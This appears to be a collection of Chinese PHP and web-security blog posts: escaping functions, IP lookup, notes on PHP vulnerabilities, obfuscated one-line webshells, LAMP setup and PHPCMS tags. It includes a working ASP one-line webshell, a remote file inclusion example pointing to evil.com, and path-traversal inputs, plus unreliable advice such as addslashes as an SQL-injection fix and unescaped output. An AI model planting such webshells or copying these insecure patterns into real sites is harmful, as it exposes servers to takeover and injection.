PHP htmlspecialchars不转义单引号只转义双引号

PHP htmlspecialchars不转义单引号只转义双引号,测试代码如下:

<?php
echo "原生:".$_GET['test']."<br>";
echo "htmlspecialchars:".htmlspecialchars($_GET['test'])."<br>"; //不转义单引号,转义其他特殊字符
echo "addslashes:".addslashes($_GET['test'])."<br>"; //转义单引号
echo "ADD:".addslashes(htmlspecialchars($_GET['test']));//合并

在处理sql注入时,使用单引号闭合的,用htmlspecialchars函数没用,应该用addslashes函数转义单引号,两个一起用修复sql注入和xss漏洞。

php获取客户端IP,国家,省份,地区,ISP等信息

php获取客户端IP,国家,省份,地区,ISP等信息,首先获取获取客户端的公网ip,开始本地搭建的环境,本地访问获取到的是127.0.0.1,然后用138的接口可以实现curl模拟客户端访问 http://city.ip138.com/ip2city.asp 可看到真实客户端的ip。

<?php
header('Content-Type:text/html;Charset=utf-8');

//获取ip方法 -- 如果获取不精准可以用第三方获取 http://city.ip138.com/ip2city.asp
function GetIP(){
if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
$ip = getenv("HTTP_CLIENT_IP");
else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
$ip = getenv("HTTP_X_FORWARDED_FOR");
else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
$ip = getenv("REMOTE_ADDR");
else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
$ip = $_SERVER['REMOTE_ADDR'];
else
$ip = "unknow";
return($ip);
}
//新浪接口,获取ip所在国家,地域。
function GetIpLookup($ip = ''){
if(empty($ip)){
$ip = GetIp();
}
$res = @file_get_contents('http://int.dpool.sina.com.cn/iplookup/iplookup.php?format=js&ip=' . $ip);
if(empty($res)){ return false; }
$jsonMatches = array();
preg_match('#\{.+?\}#', $res, $jsonMatches);
if(!isset($jsonMatches[0])){ return false; }
$json = json_decode($jsonMatches[0], true);
if(isset($json['ret']) && $json['ret'] == 1){
$json['ip'] = $ip;
unset($json['ret']);
}else{
return false;
}
return $json;
}

$ipInfos = GetIpLookup(); //IP地址
print_r($ipInfos);  //打印数组

//测试url: http://0535code.com/ip.php

读《重燃你的php之火》总结笔记

1.文件包含变量导致远程文件包含
include (“$cfg_dir/site_${site}.php”); //把$cfg_dir 这个路径里的site_${site}.php 包含进来
可以把变量$site 指定远程文件http://evil.com/cmd.gif 去调用,也可以是本地的一个文件
解决方案:
php.ini 里的allow_url_fopen 设为off 禁止远程使用文件
2.文件目录列表
目录列表,下载重要文件
解决方案:
open_base_dir 禁止使用目录列表,或每个目录下都存放一个index.html,推荐第一种解决方案
3.文件操作函数导致源代码泄漏(fopen(),file(),readfile(),openfile())
$articlearray=openfile(“$dbpath/$fid/$tid.php”); //打开$dbpath/$fid 这个路径的$tid.php 文件
$topic_detail=explode(“|”,$articlearray[0]); //用分割符|读出帖子的内容
构造/read.php?fid=123&tid=../index 可以查看上级index.php源代码
fwrite() 写入一句话木马
unlink() 传入任意文件,删除任意文件
解决方案:
过滤特殊字符
4.任意代码执行
eval(),preg_replace(),exec(),system(),popen(),proc_open(),proc_close()
提交可执行代码和系统命令
解决方案:
使用escapeshellarg()或escapeshellcmd()函数过滤
5.特殊字符过滤
../ win路径隐患
..\ win和linux路径隐患
< > 跨站脚本攻击xxs
‘?? 执行系统命令
; | 截断程序流程
6.php的一些安全配置参数

safe_mode_gid = On? //开启安全模式,会禁止系统命令执行函数
register_globals = Off //关闭全局变量,防止变量覆盖漏洞
php_admin_value open_basedir /usr/local/apache/htdocs //限制php文件操作目录为网站根目录
allow_url_fopen = Off //关闭远程文件打开功能,防止include(”)文件包含一句话木马

<Directory /usr/local/apache/htdocs/upload>
php_flag engine off
#如果是php3换成php3_engine off
#防止读取任意文件和执行任意命令,限制上传目录权限
open_basedir = “/usr/local/apache/htdocs/” #限制允许操作的父目录
#命令执行漏洞可以用escapeshellcmd()函数过滤传入的命令参数,后再使用,杜绝命令执行漏洞
</Directory>

error_reporting = E_ALL & ~E_NOTICE //屏蔽警告信息
display_errors = On //屏蔽错误信息
log_errors = On? //开启错误日志
error_log = /usr/local/apache/logs/php_error.log //错误日志存放目录
disable_functions = phpinfo, get_cfg_var //禁用一些危险函数可以放在这里
 

PHP判断代理HTTP_X_FORWARDED_FOR

除了正常访问网站以外,还有一种代理模式访问,burpsuite、fiddler等都是通过代理做中间人进行嗅探分析找漏洞,利用漏洞的,前段时间想判断下禁止代理访问,使用HTTP_X_FORWARDED_FOR做判断,通过各种沟通,觉得此方法不可行,没有实际落实,于是自己用php取了下参数,翻阅了下资料,通过分析判断HTTP_X_FORWARDED_FOR是否是使用代理的不靠谱,可以把代理信息去掉再发送,burpsuite就是这样做的,用HTTP_X_FORWARDED_FOR根本判断不出是代理访问的,在发送之前会把相关信息去掉。测试下 fiddle 也是不可以的,通过HTTP_X_FORWARDED_FOR控制的意义就不大了。测试代码如下:

<?
if(!empty($_SERVER['HTTP_VIA']))    //判断使用了代理
{
if(!isset($_SERVER['HTTP_X_FORWARDED_FOR']))
{
echo "1:普通匿名代理服务器,代理IP地址为". $_SERVER['REMOTE_ADDR'];
}
else
{
echo "2:透明代理服务器代理,IP地址为".$_SERVER['REMOTE_ADDR'];
echo "2:透明代理服务器,真实ip地址为".$_SERVER['HTTP_X_FORWARDED_FOR'];
}
}
else         //否则判断没有使用代理
{
echo "3:没有代理或者是高匿名代理,真实ip地址为".$_SERVER['REMOTE_ADDR'];
}

之后和新公司同事商议了下解决方案,在传输的过程中增加token,传输的内容全部为密文,实现的原理也类似https。

php变形一句话木马和加密原理

php比较流行的一句话木马很多,甚至老外研究的,一般人都看不懂,今天看到某站中了chr一句话木马,一看就不正常具体就不发代码了,总结下asp,php的chr类型变形一句话木马和加密。
<%eval request(chr(65))%>
这句话用菜刀链接密码就是A,菜刀就是post请求A参数提交任意代码。用burpsuite可以看到菜刀的所有操作,自己也可以把菜刀的代码down下来,自己写一个去。不过没啥意义,还不如直接反编译为自己了,可以装装感觉很厉害的样子。chr里面的数字就是对应的ASCII码,附一份ASCII码表,也可以自己写个工具,翻译出来。

chr(9) tab空格
chr(10) 换行
chr(13) 回车
chr(13)&chr(10) 回车换行
chr(32) 空格符
chr(34) 双引号
chr(39) 单引号
chr(33) !
chr(34) ”
chr(35) #
chr(36) $
chr(37) %
chr(38) &
chr(39) ‘
chr(40) (
chr(41) )
chr(42) *
chr(43) +
chr(44) ,
chr(45) –
chr(46) .
chr(47) /
chr(48) 0
chr(49) 1
chr(50) 2
chr(51) 3
chr(52) 4
chr(53) 5
chr(54) 6
chr(55) 7
chr(56) 8
chr(57) 9
chr(58)
chr(59) ;
chr(60) <
chr(61) =
chr(62) >
chr(63) ?
chr(64) @
chr(65) A
chr(66) B
chr(67) c
chr(68) D
chr(69) E
chr(70) F
chr(71) G
chr(72) H
chr(73) I
chr(74) J
chr(75) K
chr(76) L
chr(77) M
chr(78) N
chr(79) O
chr(80) P
chr(81) Q
chr(82) R
chr(83) S
chr(84) T
chr(85) U
chr(86) V
chr(87) W
chr(88) X
chr(89) Y
chr(90) Z
chr(91) [
chr(92) \
chr(93) ]
chr(94) ^
chr(95) _
chr(96) `
chr(97) a
chr(98) b
chr(99) c
chr(100) d
chr(101) e
chr(102) f
chr(103) g
chr(104) h
chr(105) i
chr(106) j
chr(107) k
chr(108) l
chr(109) m
chr(110) n
chr(111) o
chr(112) p
chr(113) q
chr(114) r
chr(115) s
chr(116) t
chr(117) u
chr(118) v
chr(119) w
chr(120) x
chr(121) y
chr(122) z
chr(123) {
chr(124) |
chr(125) }
还有比这个复杂的密码对应ASCII码表可翻译出来。

然后好多一句话木马看起来不是这样,是用base64做了加密处理,然后在文件中解密,这种加密方式翻转一下就ok。

PHP和Python获取网页源代码区别

学习Python用requests库去获取我的网站源代码,获取到的居然是加速乐的防御代码,因为我用加速乐的CDN,然后获取了下乌云网站的,获取乌云的是一片空白,什么都没有,难道Python这么弱么,然后用php获取,php都可以获取到,而且比python代码少,只是Python可以常住内存,PHP就不行了。

php获取页面源代码方法:

$re = file_get_contents('http://www.0535code.com/');
var_dump($re);

Python页面源代码方法:

# coding:utf-8
import requests
html = requests.get('http://www.0535code.com')
print html.text

Python获取页面源代码比php多呢, 要php的一倍。然后这样还不行,像加速乐,乌云了,这类安全网站都获取不到,普通网站python用上面的代码能获取到,然后研究了下,是上面的代码不完整所以获取不到一些网站的源代码,要带上访问的一些信息才行。完整的Python代码如下:

# coding:utf-8
import re,requests
#要设置RAW字段才能成功抓取到内容
wuyun_headers={'User-Agent':'Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/23.0.2211.251 Safari/537.36'}
html = requests.get('http://www.0535code.com',headers=wuyun_headers)
print html.text

因为php用file_get_contents函数,默认会有代理信息一起提交请求,而用python就不会自动提交,要配置下才行。
headers的信息,通过浏览器审查元素中的网络选项,随便找一个链接,可以看到请求头信息RAW。
 

php调用dos命令执行exe文件获取信息

php调用编译的exe文件,php只有权限,没有操作exe可执行文件的权限,但是php可以用exec执行dos命令,exe文件可以用程序遍历窗口,编辑器传值,封装为dos命令传到窗口中,然后操作按钮或者文件抓到返回信息。感谢茂茂大神的帮忙,代码如下:

#include <cstdio>
#include <windows.h>
#include <string>
#include <atlconv.h>
using namespace std;

int main(int argc,char * argv[])
{

USES_CONVERSION; //这个宏是为了下面使用 A2W 将ascii转换成unicode
//下面findwindow 根据程序窗口字符串来查找主窗口,可以用spy++,没有的话跟我拿我写的一个
HWND hParent = FindWindow(NULL,L"Safe3 Web漏洞扫描系统企业版v10.1   Crack  By  Lkou[LCG]   Http://www.52pojie.cn");
//判断输入的网址是否为空,为空提示退出
if (argv[1] == NULL){
printf("输入格式:set.exe http://www.baidu.com");
return 0;
}
//将参数网址转换成宽字符串
wstring str(A2W(argv[1]));
//判断主窗口是否找到,没找到提示退出
if (hParent == NULL)
{
printf("没有找到匹配窗口,请确定safe3已经运行\n");
return 0;

}
//printf("%d",hParent); //测试用的
//找到主窗口,接下来遍历子窗口
HWND hchild = GetWindow(hParent, GW_CHILD);
HWND hButton = NULL;
BOOL flag = FALSE;
//循环遍历子窗口,有些子窗口嵌套在其他子窗口内,这个代码遍历不出来的,因为只是要那个编辑框,还有按钮,所以深层遍历我就没写
//如果需要,知道原理后,自己很容易实现

while (hchild != NULL)
{
RECT rcchild;

//得到子窗口的大小
GetWindowRect(hchild, &rcchild);
//得到的子窗口大小是相对于整个屏幕坐标系的,所以要调用下面函数转换,得到相对于主窗口的大小
//我们这里只关心left ,top成员就够了
ScreenToClient(hParent, (LPPOINT)&rcchild);
//printf("找到%d ID:%d 窗口位置:%d %d\n",hchild,GetDlgCtrlID(hchild),rcchild.left,rcchild.top);

//根据位置判断是否是按钮
if (rcchild.left == 676 && rcchild.top == 27)
{
hButton = hchild;

if (flag == TRUE)
{
//ShowWindow(hButton, SW_SHOW);//可以隐藏按钮,测试是否能真正操作那个按钮
SendMessage(hButton, BM_CLICK,0,0); //发送click消息,点击
}
}
//×××注意:这里不知道先遍历出来按钮还是先遍历出来 编辑框,所以用了个flag,以防止,编辑框还没内容的时候 点击按钮
//调式很多次都是先遍历出来编辑框的
//这里就是判断是否是编辑框,如果是的话,那么就发消息
if (rcchild.left == 25 && rcchild.top == 29)
{
::SendMessage(hchild,EM_SETSEL,0,-1);
::SendMessage(hchild, WM_CLEAR, 0, 0);
//上面这两个消息是清空编辑框
//下面的循环是吧我们参数的字符床发送到编辑框上面,解决了中文乱码问题

for (int i = 0; i < str.length(); i++)
::SendMessage(hchild,WM_CHAR,str.at(i),NULL);
if (hButton != NULL)
{
//这里也只是看是按钮先遍历出来还是编辑框
::SendMessage(hButton,BM_CLICK, 0, 0);
break;
}
else
flag = TRUE;

}
//如果都不是的话那么我们就遍历下一个子窗口
hchild = GetWindow(hchild, GW_HWNDNEXT);

}
return 0;
}

Centos搭建原生的LAMP

使用以下命令安装php,测试php,Centos默认集成了Apache
yum -y install php
vi /var/www/html/index.php
/etc/init.d/httpd restart

使用以下命令安装mysql,测试mysql用phpmyadmin (unzip *.zip)
yum install mysql mysql-server
chkconfig –levels 235 mysqld on
/etc/init.d/mysqld start
/etc/init.d/mysqld restart

安装完后mysql数据库目录为 /var/lib/mysql
或者用 ps -ef | grep mysql 查看数据库存放目录
设置root密码:
mysql_secure_installation

关联php和mysql
yum search php
yum install php-mysql php-gd php-imap php-ldap php-odbc php-pear php-xml

php-xmlrpc
/etc/init.d/httpd restart
/etc/init.d/httpd restart

apache域名绑定文件
/etc/httpd/conf/httpd.conf

##########################

如果在Ubuntu环境下测试环境可以安装phpstudy

1.wget -c http://lamp.phpstudy.net/phpstudy.bin
2.chmod +x phpstudy.bin
3.sudo ./phpstudy.bin

centos7注意事项:
systemctl start httpd.service #开始httpd
systemctl stop firewalld.service #停止
systemctl disable firewalld.service #禁用
systemctl restart httpd.service #重启httpd

yum install mariadb mariadb-server #安装mysql分支
systemctl start mariadb #启动mariadb
systemctl enable mariadb #开机自启动
mysql_secure_installation #安全配置向导
mysql -uroot -p #测试登录

#相关组件
yum -y install php-gd php-ldap php-odbc php-pear php-xml php-xmlrpc php-mbstring php-snmp php-soap curl curl-devel

#开启伪静态
# vim /etc/httpd/conf/httpd.conf

###增加下面内容

RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ – [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]

PHPCMS 添加Tags标签与当前文章关键词

帮一朋友添加Tags标签,用phpcms看了下网上说的直接用标签调就可以了。尝试了没有显示,打印出来的数据与文章缺少关联性,想了好几种解决方案,一种是用原生的php写,看了下phpcms的数据库表接口,keywords表是单独存放的,与文章有关联性,没找到文章表,这种办法放弃了,仔细找找这种也是可以实现的。另外网上写的都是栏目调用Tags标签,不是文章调用,文章调用没看到默认的标签。
<!– 列表所有关键词
<div class=”hots”><strong>TAG热门关键字:</strong>
{pc:content action=”lists” catid=”$catid” num=”10″ order=”id ASC” page=”$page”}
{loop $data $r}
{php $keywords = explode(‘ ‘,$r[keywords]);}
{loop $keywords $keyword}
<a href=”{APP_PATH}index.php?m=content&c=tag&catid={$catid}&tag={urlencode($keyword)}” target=”_blank”>{$keyword}</a>
<a href=”{APP_PATH}index.php?m=content&c=tag&a=lists&tag={urlencode($keyword)}” class=”blue”>{$keyword}</a>
<a href=”http://zhannei.baidu.com/cse/search?s=5036581220979474004&entry=1&q={urlencode($keyword)}” class=”blue”>{$keyword}</a>
{/loop}
{/loop}
{/pc}
–>
这种是获取栏目关键词,而且还可以用百度站内搜索api作成百度站内搜索。
朋友主要是获取当前文章的tags标签,于是发现$SEO[‘keyword’]变量可以直接用,拆分下就好了。代码如下:

<?php
//var_dump($SEO['keyword']);
$key[] = explode(",",$SEO['keyword']);
//var_dump($key[0]);
foreach ($key[0] as $k => $vaule){
//echo "<a href='$vaule'>$vaule</a>";
echo "<a href='/index.php?m=content&c=tag&a=lists&tag=$vaule' class='blue'>$vaule</a>&nbsp;&nbsp;";
}
?>